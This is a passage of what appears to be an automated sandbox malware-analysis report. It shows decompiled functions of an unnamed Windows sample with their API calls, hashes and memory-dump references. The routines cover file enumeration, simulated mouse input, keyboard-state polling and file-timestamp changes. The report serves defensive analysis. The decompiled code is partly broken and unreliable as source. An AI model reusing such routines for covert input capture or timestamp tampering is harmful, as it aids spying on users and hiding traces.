				_t50 = FindFirstFileW(_v636,  &_v596);
				_v616 = _t50;
				if(_t50 == 0xffffffff) {
					L18:
					FindClose(_v616);
					E00402620( &_v612);
					E00402620( &_v636);
					return _t73;
				}
				_t100 = _a16;
				while(1) {
					_t56 = E00443009(_v620);
					if(_t56 == 1) {
						break;
					}
					if(_t56 != 0xb) {
						_t58 = E004133E4( &(_v596.cFileName), ".");
						_t101 =  &(_t101[2]);
						__eflags = _t58;
						if(_t58 == 0) {
							L15:
							_t59 = FindNextFileW(_v616,  &_v596);
							__eflags = _t59;
							if(_t59 != 0) {
								continue;
							}
							goto L18;
						}
						_t60 = E004133E4( &(_v596.cFileName), L"..");
						_t101 =  &(_t101[2]);
						__eflags = _t60;
						if(_t60 == 0) {
							goto L15;
						}
						E0040DF50( &_v636,  &_v612);
						E0040D330( &_v636, _t73,  &(_v596.dwReserved1), _t106);
						__eflags = _v600 & 0x00000010;
						if((_v600 & 0x00000010) == 0) {
							 *_a8 =  *_a8 + _v596.nFileSizeLow;
							asm("adc [eax+0x4], ecx");
							__eflags = _a20;
							if(_a20 != 0) {
								 *_a12 =  *_a12 + 1;
								asm("adc [eax+0x4], esi");
							}
							goto L15;
						}
						__eflags = _a20;
						if(_a20 != 0) {
							 *_t100 =  *_t100 + 1;
							asm("adc dword [ebp+0x4], 0x0");
						}
						__eflags = _a24;
						if(_a24 != 0) {
							E0040D330( &_v636, _t73, "\\", _t106);
							_t73 = E00452126(_v620, __eflags, _t106, _v636, _a8, _a12, _t100, _a20, _a24);
							__eflags = _t73;
							if(_t73 == 0) {
								goto L18;
							}
						}
						goto L15;
					}
					Sleep(0xa);
				}
				_t73 = 0;
				__eflags = 0;
				goto L18;
			}




























                                                                                                                                                                            0x00452126
                                                                                                                                                                            0x00452126
                                                                                                                                                                            0x0045213b
                                                                                                                                                                            0x0045213f
                                                                                                                                                                            0x00452150
                                                                                                                                                                            0x00452154
                                                                                                                                                                            0x00452158
                                                                                                                                                                            0x0045215a
                                                                                                                                                                            0x00452165
                                                                                                                                                                            0x00452169
                                                                                                                                                                            0x0045216d
                                                                                                                                                                            0x0045217c
                                                                                                                                                                            0x0045217e
                                                                                                                                                                            0x00452184
                                                                                                                                                                            0x0045218b
                                                                                                                                                                            0x004522be
                                                                                                                                                                            0x004522c3
                                                                                                                                                                            0x004522cd
                                                                                                                                                                            0x004522d6
                                                                                                                                                                            0x004522e7
                                                                                                                                                                            0x004522e7
                                                                                                                                                                            0x00452191
                                                                                                                                                                            0x00452198
                                                                                                                                                                            0x0045219d
                                                                                                                                                                            0x004521a5
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004521ae
                                                                                                                                                                            0x004521c4
                                                                                                                                                                            0x004521c9
                                                                                                                                                                            0x004521cc
                                                                                                                                                                            0x004521ce
                                                                                                                                                                            0x004522a2
                                                                                                                                                                            0x004522ac
                                                                                                                                                                            0x004522b2
                                                                                                                                                                            0x004522b4
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004522ba
                                                                                                                                                                            0x004521de
                                                                                                                                                                            0x004521e3
                                                                                                                                                                            0x004521e6
                                                                                                                                                                            0x004521e8
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004521f7
                                                                                                                                                                            0x00452202
                                                                                                                                                                            0x00452207
                                                                                                                                                                            0x0045220c
                                                                                                                                                                            0x00452286
                                                                                                                                                                            0x00452288
                                                                                                                                                                            0x0045228b
                                                                                                                                                                            0x00452293
                                                                                                                                                                            0x0045229c
                                                                                                                                                                            0x0045229f
                                                                                                                                                                            0x0045229f
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00452293
                                                                                                                                                                            0x0045220e
                                                                                                                                                                            0x00452216
                                                                                                                                                                            0x00452218
                                                                                                                                                                            0x0045221c
                                                                                                                                                                            0x0045221c
                                                                                                                                                                            0x00452220
                                                                                                                                                                            0x00452228
                                                                                                                                                                            0x00452233
                                                                                                                                                                            0x00452267
                                                                                                                                                                            0x00452269
                                                                                                                                                                            0x0045226b
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045226d
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00452228
                                                                                                                                                                            0x004521b2
                                                                                                                                                                            0x004521b2
                                                                                                                                                                            0x004522bc
                                                                                                                                                                            0x004522bc
                                                                                                                                                                            0x00000000

                                                                                                                                                                            APIs
                                                                                                                                                                              • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                            • FindFirstFileW.KERNEL32(?,?,?,?,?,00000000), ref: 0045217E
                                                                                                                                                                            • Sleep.KERNEL32(0000000A,?,?,00000000), ref: 004521B2
                                                                                                                                                                            • FindNextFileW.KERNEL32(?,?,?,00000000), ref: 004522AC
                                                                                                                                                                            • FindClose.KERNEL32(?,?,00000000), ref: 004522C3
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Find$File$CloseFirstNextSleep_wcslen
                                                                                                                                                                            • String ID: *.*
                                                                                                                                                                            • API String ID: 2693929171-438819550
                                                                                                                                                                            • Opcode ID: 795814aabf3575a312431df6cfdeffa41220e00b4b3161055ad0992ab15e1088
                                                                                                                                                                            • Instruction ID: af48064257187e8510c52105a37c09e2473729b295899029bd742ede75b152c9
                                                                                                                                                                            • Opcode Fuzzy Hash: 795814aabf3575a312431df6cfdeffa41220e00b4b3161055ad0992ab15e1088
                                                                                                                                                                            • Instruction Fuzzy Hash: 61419D756083409FC314DF25CA84A9FB7E4BF86305F04491FF98993291D7B8E949CB5A
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00436431 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 35COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 37%
                                                                                                                                                                            			E00436431(intOrPtr _a4) {
				void* _t2;
				void* _t3;
				void* _t9;

				_t10 = _a4;
				_t2 = E004115D0(_t9, _a4, L"UP");
				if(_t2 != 0) {
					_t3 = E004115D0(_t9, _t10, L"DOWN");
					if(_t3 != 0) {
						return 0;
					} else {
						 *0x482560(0x800, _t3, _t3, 0xffffff88, _t3);
						return 1;
					}
				} else {
					 *0x482560(0x800, _t2, _t2, 0x78, _t2);
					return 1;
				}
			}






                                                                                                                                                                            0x00436432
                                                                                                                                                                            0x0043643c
                                                                                                                                                                            0x00436446
                                                                                                                                                                            0x00436466
                                                                                                                                                                            0x00436470
                                                                                                                                                                            0x0043645f
                                                                                                                                                                            0x00436472
                                                                                                                                                                            0x0043647c
                                                                                                                                                                            0x00436485
                                                                                                                                                                            0x00436485
                                                                                                                                                                            0x00436448
                                                                                                                                                                            0x00436452
                                                                                                                                                                            0x0043645b
                                                                                                                                                                            0x0043645b

                                                                                                                                                                            APIs
                                                                                                                                                                            • __wcsicoll.LIBCMT ref: 0043643C
                                                                                                                                                                            • mouse_event.USER32(00000800,00000000,00000000,00000078,00000000), ref: 00436452
                                                                                                                                                                            • __wcsicoll.LIBCMT ref: 00436466
                                                                                                                                                                            • mouse_event.USER32(00000800,00000000,00000000,00000088,00000000), ref: 0043647C
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: __wcsicollmouse_event
                                                                                                                                                                            • String ID: DOWN
                                                                                                                                                                            • API String ID: 1033544147-711622031
                                                                                                                                                                            • Opcode ID: 8e71a22f1bb6dc727f393f419cee3c46fab46d9365d91d475c80ba63e0095046
                                                                                                                                                                            • Instruction ID: 8a73d33e481528181e274ae5662561dddcd8f7088196b39fde8242b6fe69d79f
                                                                                                                                                                            • Opcode Fuzzy Hash: 8e71a22f1bb6dc727f393f419cee3c46fab46d9365d91d475c80ba63e0095046
                                                                                                                                                                            • Instruction Fuzzy Hash: 75E0927558872039FC4036253C02FFB174CAB66796F018116FE00D1291EA586D865BBD
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0044796B Relevance: 7.6, APIs: 5, Instructions: 96nativeCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 82%
                                                                                                                                                                            			E0044796B(struct HWND__* _a4, intOrPtr _a8, signed short _a12, signed short _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				struct tagRECT _v28;
				struct tagPOINT _v36;
				struct tagPOINT _v44;
				void* _t30;
				intOrPtr _t32;
				long _t38;
				intOrPtr _t43;
				struct HWND__* _t46;
				signed int _t47;
				intOrPtr _t51;
				intOrPtr _t59;
				intOrPtr _t64;
				struct HWND__* _t73;

				_t73 = _a4;
				_t69 = E004340B2(_t30, 0x4a83d8, _t73);
				_t32 =  *0x4a8438; // 0x0
				_t51 =  *((intOrPtr*)( *((intOrPtr*)(_t32 + _t31 * 4))));
				GetClientRect(_t73,  &_v28);
				GetCursorPos( &_v36);
				_v44.x = _v36.x;
				_v44.y = _v36.y;
				ScreenToClient(_t73,  &_v44);
				_t38 = _v44.x;
				if(_t38 < _v28.left || _t38 > _v12) {
					L12:
					return  *0x48254c(_t73, 0x20, _a8, (_a16 & 0x0000ffff) << 0x00000010 | _a12 & 0x0000ffff);
				} else {
					_t43 = _v36.y;
					if(_t43 < _v28.bottom || _t43 > _v8) {
						goto L12;
					} else {
						if( *((char*)(_t51 + 0x15c)) == 0) {
							L11:
							_t64 =  *0x4a8438; // 0x0
							E00433BAC( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t64 + _t69 * 4)))) + 0x10)));
							if( *((intOrPtr*)(_t51 + 0x14)) != 0) {
								goto L10;
							} else {
								goto L12;
							}
						} else {
							_push(_v28.top);
							_t46 = WindowFromPoint(_v28);
							if(_t46 == 0 || _t46 == _t73) {
								goto L11;
							} else {
								_t47 = E004421C1(0x4a83d8, _t46);
								if(_t47 == 0xffffffff) {
									goto L11;
								} else {
									_t59 =  *0x4a844c; // 0x2f019d0
									_t49 =  *( *((intOrPtr*)( *((intOrPtr*)(_t59 + _t47 * 4)))) + 0x7c) & 0x0000ffff;
									if(( *( *((intOrPtr*)( *((intOrPtr*)(_t59 + _t47 * 4)))) + 0x7c) & 0x0000ffff) == 0xffff) {
										goto L11;
									} else {
										E00433BAC(_t49);
										L10:
										return 1;
									}
								}
							}
						}
					}
				}
			}


















                                                                                                                                                                            0x00447976
                                                                                                                                                                            0x00447985
                                                                                                                                                                            0x00447987
                                                                                                                                                                            0x0044798f
                                                                                                                                                                            0x00447997
                                                                                                                                                                            0x004479a2
                                                                                                                                                                            0x004479b6
                                                                                                                                                                            0x004479ba
                                                                                                                                                                            0x004479be
                                                                                                                                                                            0x004479c4
                                                                                                                                                                            0x004479cc
                                                                                                                                                                            0x00447a63
                                                                                                                                                                            0x00447a84
                                                                                                                                                                            0x004479dc
                                                                                                                                                                            0x004479dc
                                                                                                                                                                            0x004479e4
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004479ec
                                                                                                                                                                            0x004479f3
                                                                                                                                                                            0x00447a49
                                                                                                                                                                            0x00447a49
                                                                                                                                                                            0x00447a58
                                                                                                                                                                            0x00447a61
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004479f5
                                                                                                                                                                            0x004479fd
                                                                                                                                                                            0x004479ff
                                                                                                                                                                            0x00447a07
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00447a0d
                                                                                                                                                                            0x00447a13
                                                                                                                                                                            0x00447a1b
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00447a1d
                                                                                                                                                                            0x00447a1d
                                                                                                                                                                            0x00447a28
                                                                                                                                                                            0x00447a30
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00447a32
                                                                                                                                                                            0x00447a36
                                                                                                                                                                            0x00447a3b
                                                                                                                                                                            0x00447a46
                                                                                                                                                                            0x00447a46
                                                                                                                                                                            0x00447a30
                                                                                                                                                                            0x00447a1b
                                                                                                                                                                            0x00447a07
                                                                                                                                                                            0x004479f3
                                                                                                                                                                            0x004479e4

                                                                                                                                                                            APIs
                                                                                                                                                                            • GetClientRect.USER32(?,?), ref: 00447997
                                                                                                                                                                            • GetCursorPos.USER32(?), ref: 004479A2
                                                                                                                                                                            • ScreenToClient.USER32(?,?), ref: 004479BE
                                                                                                                                                                            • WindowFromPoint.USER32(?,?), ref: 004479FF
                                                                                                                                                                            • NtdllDialogWndProc_W.NTDLL(?,00000020,?,?), ref: 00447A78
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Client$CursorDialogFromNtdllPointProc_RectScreenWindow
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 4176674648-0
                                                                                                                                                                            • Opcode ID: c356f0f93048ebf3c0a873f2be17aa192b5fb9472fb724aa4a6a449873fe30ba
                                                                                                                                                                            • Instruction ID: e9c1e18ea4fcc9a2ad4b32cd349e8b57ec7287094a91df3c43d19f1875151664
                                                                                                                                                                            • Opcode Fuzzy Hash: c356f0f93048ebf3c0a873f2be17aa192b5fb9472fb724aa4a6a449873fe30ba
                                                                                                                                                                            • Instruction Fuzzy Hash: DE3188742082029BD710CF19D88596FB7A9EBC8714F144A1EF88097291D778EA57CBAA
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00421FA7 Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 85%
                                                                                                                                                                            			E00421FA7(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t12;
				intOrPtr _t13;
				long _t17;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr* _t31;
				void* _t34;

				_t27 = __esi;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ecx;
				_t21 = __ebx;
				_t6 = __eax;
				_t34 = _t22 -  *0x490e80; // 0x307ac15a
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x497020 = _t6;
				 *0x49701c = _t22;
				 *0x497018 = _t25;
				 *0x497014 = _t21;
				 *0x497010 = _t27;
				 *0x49700c = _t26;
				 *0x497038 = ss;
				 *0x49702c = cs;
				 *0x497008 = ds;
				 *0x497004 = es;
				 *0x497000 = fs;
				 *0x496ffc = gs;
				asm("pushfd");
				_pop( *0x497030);
				 *0x497024 =  *_t31;
				 *0x497028 = _v0;
				 *0x497034 =  &_a4;
				 *0x496f70 = 0x10001;
				 *0x496f24 =  *0x497028;
				 *0x496f18 = 0xc0000409;
				 *0x496f1c = 1;
				_t12 =  *0x490e80; // 0x307ac15a
				_v812 = _t12;
				_t13 =  *0x490e84; // 0xcf853ea5
				_v808 = _t13;
				 *0x496f68 = IsDebuggerPresent();
				_push(1);
				E00422EC0(_t14);
				SetUnhandledExceptionFilter(0);
				_t17 = UnhandledExceptionFilter(0x483e94);
				if( *0x496f68 == 0) {
					_push(1);
					E00422EC0(_t17);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}


















                                                                                                                                                                            0x00421fa7
                                                                                                                                                                            0x00421fa7
                                                                                                                                                                            0x00421fa7
                                                                                                                                                                            0x00421fa7
                                                                                                                                                                            0x00421fa7
                                                                                                                                                                            0x00421fa7
                                                                                                                                                                            0x00421fa7
                                                                                                                                                                            0x00421fad
                                                                                                                                                                            0x00421faf
                                                                                                                                                                            0x00421faf
                                                                                                                                                                            0x0042624e
                                                                                                                                                                            0x00426253
                                                                                                                                                                            0x00426259
                                                                                                                                                                            0x0042625f
                                                                                                                                                                            0x00426265
                                                                                                                                                                            0x0042626b
                                                                                                                                                                            0x00426271
                                                                                                                                                                            0x00426278
                                                                                                                                                                            0x0042627f
                                                                                                                                                                            0x00426286
                                                                                                                                                                            0x0042628d
                                                                                                                                                                            0x00426294
                                                                                                                                                                            0x0042629b
                                                                                                                                                                            0x0042629c
                                                                                                                                                                            0x004262a5
                                                                                                                                                                            0x004262ad
                                                                                                                                                                            0x004262b5
                                                                                                                                                                            0x004262c0
                                                                                                                                                                            0x004262cf
                                                                                                                                                                            0x004262d4
                                                                                                                                                                            0x004262de
                                                                                                                                                                            0x004262e8
                                                                                                                                                                            0x004262ed
                                                                                                                                                                            0x004262f3
                                                                                                                                                                            0x004262f8
                                                                                                                                                                            0x00426304
                                                                                                                                                                            0x00426309
                                                                                                                                                                            0x0042630b
                                                                                                                                                                            0x00426313
                                                                                                                                                                            0x0042631e
                                                                                                                                                                            0x0042632b
                                                                                                                                                                            0x0042632d
                                                                                                                                                                            0x0042632f
                                                                                                                                                                            0x00426334
                                                                                                                                                                            0x00426348

                                                                                                                                                                            APIs
                                                                                                                                                                            • IsDebuggerPresent.KERNEL32 ref: 004262FE
                                                                                                                                                                            • SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00426313
                                                                                                                                                                            • UnhandledExceptionFilter.KERNEL32(00483E94), ref: 0042631E
                                                                                                                                                                            • GetCurrentProcess.KERNEL32(C0000409), ref: 0042633A
                                                                                                                                                                            • TerminateProcess.KERNEL32(00000000), ref: 00426341
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 2579439406-0
                                                                                                                                                                            • Opcode ID: 6264139195525578313f126355868944c2d0df957642d13ea02a4f15a5ae44e8
                                                                                                                                                                            • Instruction ID: aef5e5fb65ccd8d12123b9fa1a58b4ad119011b33a5a1958bca50bf8160bb65b
                                                                                                                                                                            • Opcode Fuzzy Hash: 6264139195525578313f126355868944c2d0df957642d13ea02a4f15a5ae44e8
                                                                                                                                                                            • Instruction Fuzzy Hash: BF2100B5929204DFC710DF64FD89A483BB0BB28354F51487BEA08833A0E7B44A81CF9D
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00436D2D Relevance: 7.6, APIs: 5, Instructions: 52filetimeCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 51%
                                                                                                                                                                            			E00436D2D(WCHAR* _a4, FILETIME* _a8, intOrPtr _a12) {
				intOrPtr _t13;
				FILETIME* _t14;
				void* _t15;

				_t13 = _a12;
				_t14 = _a8;
				_t15 = CreateFileW(_a4, 0x40000000, 1, 0, 3, 0x2000080, 0);
				if(_t15 != 0xffffffff) {
					if(_t13 != 0) {
						_push(0);
						if(_t13 != 1) {
							_push(_t14);
							goto L7;
						} else {
							SetFileTime(_t15, _t14, 0, ??);
							CloseHandle(_t15);
							return _t13;
						}
					} else {
						_push(_t14);
						_push(_t13);
						L7:
						SetFileTime(_t15, 0, ??, ??);
						CloseHandle(_t15);
						return 1;
					}
				} else {
					return 0;
				}
			}






                                                                                                                                                                            0x00436d32
                                                                                                                                                                            0x00436d38
                                                                                                                                                                            0x00436d55
                                                                                                                                                                            0x00436d5a
                                                                                                                                                                            0x00436d64
                                                                                                                                                                            0x00436d6a
                                                                                                                                                                            0x00436d6f
                                                                                                                                                                            0x00436d88
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00436d71
                                                                                                                                                                            0x00436d75
                                                                                                                                                                            0x00436d7c
                                                                                                                                                                            0x00436d87
                                                                                                                                                                            0x00436d87
                                                                                                                                                                            0x00436d66
                                                                                                                                                                            0x00436d66
                                                                                                                                                                            0x00436d67
                                                                                                                                                                            0x00436d89
                                                                                                                                                                            0x00436d8c
                                                                                                                                                                            0x00436d93
                                                                                                                                                                            0x00436d9e
                                                                                                                                                                            0x00436d9e
                                                                                                                                                                            0x00436d5e
                                                                                                                                                                            0x00436d61
                                                                                                                                                                            0x00436d61

                                                                                                                                                                            APIs
                                                                                                                                                                            • CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000,766DF8A0,00000000,00000000,00442E95,?,?,?), ref: 00436D4F
                                                                                                                                                                            • SetFileTime.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,00000000), ref: 00436D8C
                                                                                                                                                                            • CloseHandle.KERNEL32(00000000,?,?,?,00000000), ref: 00436D93
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: File$CloseCreateHandleTime
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3397143404-0
                                                                                                                                                                            • Opcode ID: 17e11168520f802dddbe8c477e19047108492bf153e6cd976562f268bfda3e60
                                                                                                                                                                            • Instruction ID: bce1a9391340f9688fe0750810cd2cb1b104417d8b3c1e96578cdf6de8724fbd
                                                                                                                                                                            • Opcode Fuzzy Hash: 17e11168520f802dddbe8c477e19047108492bf153e6cd976562f268bfda3e60
                                                                                                                                                                            • Instruction Fuzzy Hash: A4F0C83634132077E5301A69AC8DFCF276CABDAB32F20452EF741A61C083D51445977D
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00456354 Relevance: 6.1, APIs: 4, Instructions: 127keyboardCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            APIs
                                                                                                                                                                            • GetCursorPos.USER32(004A83D8), ref: 0045636A
                                                                                                                                                                            • ScreenToClient.USER32(004A83D8,?), ref: 0045638A
                                                                                                                                                                            • GetAsyncKeyState.USER32(?), ref: 004563D0
                                                                                                                                                                            • GetAsyncKeyState.USER32(?), ref: 004563DC
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: AsyncState$ClientCursorScreen
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 4210589936-0
                                                                                                                                                                            • Opcode ID: 8b6f1a7d11e91e3692d621cb91ecba55955a7a9a0de246f0cd2a62484a80ce0b
                                                                                                                                                                            • Instruction ID: 0eacbf52c9ff4b21db6d2500407d28a57be55752a0539e191fb639d8ee6a043b
                                                                                                                                                                            • Opcode Fuzzy Hash: 8b6f1a7d11e91e3692d621cb91ecba55955a7a9a0de246f0cd2a62484a80ce0b
                                                                                                                                                                            • Instruction Fuzzy Hash: 8E416071108341ABD724DF55CD84EBBB7E9EF86725F540B0EB8A543281C734A848CB6A
                                                                                                                                                                            Uniqueness

